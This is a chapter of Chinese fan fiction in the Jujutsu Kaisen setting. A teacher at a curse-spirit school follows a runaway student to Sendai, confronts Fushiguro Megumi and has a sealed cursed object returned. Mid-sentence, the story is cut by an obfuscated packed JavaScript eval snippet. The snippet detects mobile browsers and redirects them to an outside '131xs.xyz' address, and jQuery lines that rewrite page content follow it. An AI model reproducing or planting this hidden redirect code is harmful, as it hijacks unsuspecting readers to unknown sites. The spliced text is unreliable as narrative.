因为那张第二次出现的星球牌,从早上来高专整理训练记录时,我总是感觉背后发毛。
早上七点。
训练场地开放,我抵达时,学生已经自行开始热身了。
我简单公布了今日的教学安排,三年级全体外出,一名一级咒灵和两个准二级咒灵为一组,执行任务。
二年级学生和一年级学生打对抗,进行日常训练。
我对照着花名册数人,拦住一名在负重跑的学生。
“枫谷同学呢?”
学生转了转眼珠,露出迷茫的神色。
“一年级的,枫谷悠真。”我报上姓名。
“噢……他一早就出门去了啊。欸,等等——老师您说他是一年级的啊?”
“怎么了?”
“糟糕,”学生挠挠头,“我一直以为他是三年级的学长呢,还给他指了路。”
“指什么路?”那股背后发毛的感觉又来了。
学生伸手指着后面山坡的某片草地:“就是三年级前辈们执行任务时经常走的路线啊,终点不就是结界的出口吗。”
我抓住学生的肩膀:“你又是怎么知道结界出口的?难不成学生们都知道吗——”
“啊,那倒没有啦,我只是因为宿舍恰好在三年级隔壁而已。”
我松开双手,学生立刻拖着铅块跑走了。
此时是上午7点30分,我得知一年级生枫谷悠真逃课,跟踪三年级生离开了结界。
*
上午十点。
距离漏瑚预告的决斗,还有十二个小时。
咒灵高专已经闹翻了天。
“这个小鬼!等我见到他会好好揍一顿的!”同事的手指在键盘上敲出残影。
“现在不提倡这种教育模式啦。”另一位老师淡定地喝了口咖啡,目光却落在我身上:“学生肯定都喜欢温柔的老师吧?”
我皱了下眉:“训练上我是最严格的。”
没人接茬。
喝咖啡的同事又走到窗边:“啊呀,想不到向来正经的班长竟然是第一个逃学的人呢。”
他转过身,隔空做了个敬酒的姿势:“这要多亏了清野老师呢,跨年级执行任务,我们学校未来一片光明啊。”
说完他便把嘴巴凑到杯沿处,里面的咖啡忽然沸腾起来,如海水涨潮一样从浅浅的杯口中溢出,灌进那人毫无防备的鼻孔里。
“咳咳——”
他张大嘴,捂住脖子,以一个扭曲的姿势弯着腰。
我欣赏了会儿他痛苦的表情,蜷缩的手指松开,咖啡又像洪水一样从他的嘴里倾泻而出。
办公室里持续了很久的咳嗽声。
“你好像搞错了一点,”我走上前,很淡定地拍拍他的肩,“学生喜欢我不是因为温柔,而是我护短。”
他维持着捂脖子的动作,眼球震颤,像是在看什么恐怖的东西。
“啊,追踪到了。”敲键盘的老师适时救场,我松开手,来到电脑前,身后仿佛有什么东西扑通一声倒在了地上,我没有理会。
“枫谷同学身上有携带清野老师给的咒具吧?我是根据您的咒力信息追踪到的。”
电脑屏幕被转到我面前,地图上浮动着星星点点的光斑。
“这里是?”我指着某片陌生的区域问。
老师用鼠标圈画出一块最亮的范围:“坐标仙台,根据建筑外观判断是一所高等学校。”
“那个地方是什么任务?”我把资料翻得哗啦作响,身后有好一阵子都没声音,我以为那家伙多少会昏过去,谁知他顽强地爬起来了。
还用一副不计前嫌的语气说:“仙台的任务是我们班级做的,内容很简单,潜入高校查看特级咒物封印的松动情况,再回来报告。”
“枫谷同学/运气很好,不会有生命危险。”
话音刚落,地图上那片区域骤然爆发出阵阵闪光。
所有人的眼睛都被晃到,我偏开头,等那阵炫目的光暗下来一点,凝神看过去——
整片建筑群都塌了。
“……”
“这就是你说的不会有生命危险?”
“放宽心啊,至少被毁的建筑是对方的啊,说不定局势对我们有利呢。”
“再说了,枫谷同学的水平其实早就在一级之上了吧?只是没有执行过任务,所以评分一直很低吧。如果我是枫谷同学,肯定也会埋怨老师,为什么不给我机会呢?之类的。”
“……”
“啊啦,清野老师生气了吗?”
我很想再用术式将咖啡封住他的嘴,但想了想还是确认枫谷的情况最要紧。
“去通往仙台的结界最快要多久?”
“四十分钟。清野老师,您要出去吗?”坐在电脑前的老师抬起头来,担忧地望着我。
是啊,这些人都是在羂索离开后加入的,印象里我从未踏出过这片地域,恐怕在这些人眼里我早就变成“镇校之宝”一类的存在了吧。
“‘高专需要留一名特级镇守,这是校长离开前留下的原话’,您当时跟我们所有人都这样交代。”
我沉默了几秒。
然后,将两只手分别搭上两名老师的肩膀:“你们的咒力合起来应该能够达到特级水准吧?”
“我只出结界两小时,请务必在这两小时内保护好高专的安全。”
“清野老师,您从没出去过,需要给您派一位辅助咒灵吗?”
“也好。”
十分钟后,专用车停在了教学楼下。
我跟同事借了一套西装——听说那个世界的打工者都这么穿。
汽车朝远离人烟的小路驶去,我和临时搭档的辅助咒灵交换了名字。
“清野瞳,目前是咒灵高专一年级的负责人。”
对方点点头,小心翼翼地伸手和我握了握:“您叫我河上就可以。”
*
上午十二点,离漏瑚对决还有十小时。
我和辅助咒灵抵达仙台某所高校。
河上辅助在一旁摆弄平板,我扫了一眼,大量的信息在眼前滑动。
“啊,在这里,”河上找到的同时松了口气,“高中部好像集体修学旅行了,真是万幸。”
不会波及到太多无辜的普通人,如果小心行动应该也不会被咒术师注意到——任务并不危险。
如果没有亲眼见到,我想我会跟同事做出同样的判断。
天空呈现出不太正常的灰色。
车停在学校后门,我朝唯一的小铁门走去,被一堵空气墙弹了回来。
“有人下了‘帐’,”我说,“破解需要多久?”
河上推了推眼镜;“要想尽量不破坏它,可能至少二十分钟……”
“太慢了。”我皱起眉。
掌心贴向那堵空气墙,我闭上眼睛,感受陌生的咒力在指尖流动。
冷冰冰的黑色,影子一样流动着,在被我触碰到时本能地刺向我的指尖。
我扬手躲开。
下帐的咒术师仿佛很焦急,发生什么了?难道是封印的咒物被解开了?
我开始往最坏的结果想象,高空之中忽然破开一束刺眼的光。
“帐被人从内部打破了!”河上在身后叫着。
我迅速回头:“河上在这里守着。”
趁破洞还未合上,我爬上身边的树,从高处跳
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301771|182782||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
进帐顶部的漏洞。
世界的颜色在眼前变换了几样色彩,最后映入眼帘的是一片浓郁的黑色。
我选的落脚点不太妙,一只全身黑亮的凶犬正朝着这里扑咬过来。
我下意识用咒力击退,结果那黑犬在咒力的闪光中化作一道影子,随后出现在我的背后。
黑暗中绿莹莹的双眼盯向我,眉心亮起一道红色的咒文,它朝我发出低吼,下一秒再度扑过来。
我掏出弹珠护盾,那只黑犬擦身而过——原来目标不是我吗?
“清野老师!”是枫谷的声音,他在喊我。
我再度发动咒力,击退声音源头方向的黑雾。
同时,黑雾里响起一道陌生的声音:“鵺!”
头顶传来鸟类的鸣叫,高空中俯冲下一道影子。
一股悚然的压迫感从后背升起,我翻身躲开,冲入那片浓雾里。
和会飞的东西战斗,如果不隐藏位置,根本没胜算呐。
“清野老师,这里!”
浓雾里我循声抓住枫谷的肩膀:“现在是什么情况?”
枫谷抬起手臂,似乎在擦脸上的鲜血,他说:“有人类解除了咒物的封印,我赶来时发现已经被野生咒灵抢先拿到,没等我阻止,他们便跟那个黑雾里的咒术师发生了冲突,基本上全都被祓除。我勉强救下一个咒力最强的,现在昏迷着,被我用术式保护起来了。”
黑雾里的咒术师:“我是伏黑惠。”
“我叫枫谷悠真。”枫谷冲那边喊道,被我一巴掌拍在后脑勺。
“笨蛋,你在跟你的敌人互通姓名吗?”
枫谷发出吃痛的声音。
黑雾里的咒术师:“请联系高专派更多人手支援,情况有变,新增一个一级咒灵,和一个名录上的特级。”
枫谷后知后觉“啊”了声:“原来他在打电话啊。”
我:“……”
伏黑惠:“我暂时无法撤离,咒物还没有取回,是的,我知道,但是五条老师——”
他的声音激动起来,那道黑影在后退,似乎对我们的存在很警觉。
我又问:“咒物呢?”
枫谷摊开手:“这里。”
是一块遍布苔痕的石头,里面夹杂着水晶质地的杂质。
我说:“还给他们。”
枫谷瞪大眼睛:“可是,老师——”
我打断道:“有被提醒过不可以擅自离开结界去那边吧?也有被教育过不可以伤害无辜的人类、更不要与咒术师发起冲突吧?”
“这是他们原本放在学校镇压诅咒的,外界的事情我们管不了。高专的任务是寻找宿傩大人的手指,这个显然不是。所以,还给他。”
“老师!”枫谷瞪着我,我感觉到他在压制着怒火。
几秒钟后,他低下头:“知道了,清野老师。”
随后,他把那颗石头抛进黑暗中。
伏黑惠似乎有被惊吓到,但本能让他身体先一步反应,抓住了咒物。
浓雾散去不少,诅咒的气息似乎在他手里被压制住大半,他歪着头,用肩膀和下巴夹着手机,似乎并没有中断通话。
“咒物已取回,执行撤离。”
从帐内逃离之前,他回头望了我们一眼,目光称不上善意,但更多的是困惑。
在纳闷我们为什么没有发起攻击吗?
可能是电话里他对着那边也喊了声“老师”吧,我没办法对着学生下手。
而且,比起纯粹的杀意,我看到的只是对指令,或者说某种信仰的服从。
捏紧的手指在我身后松开。
“枫谷悠真,记住你了。”伏黑惠离开前说。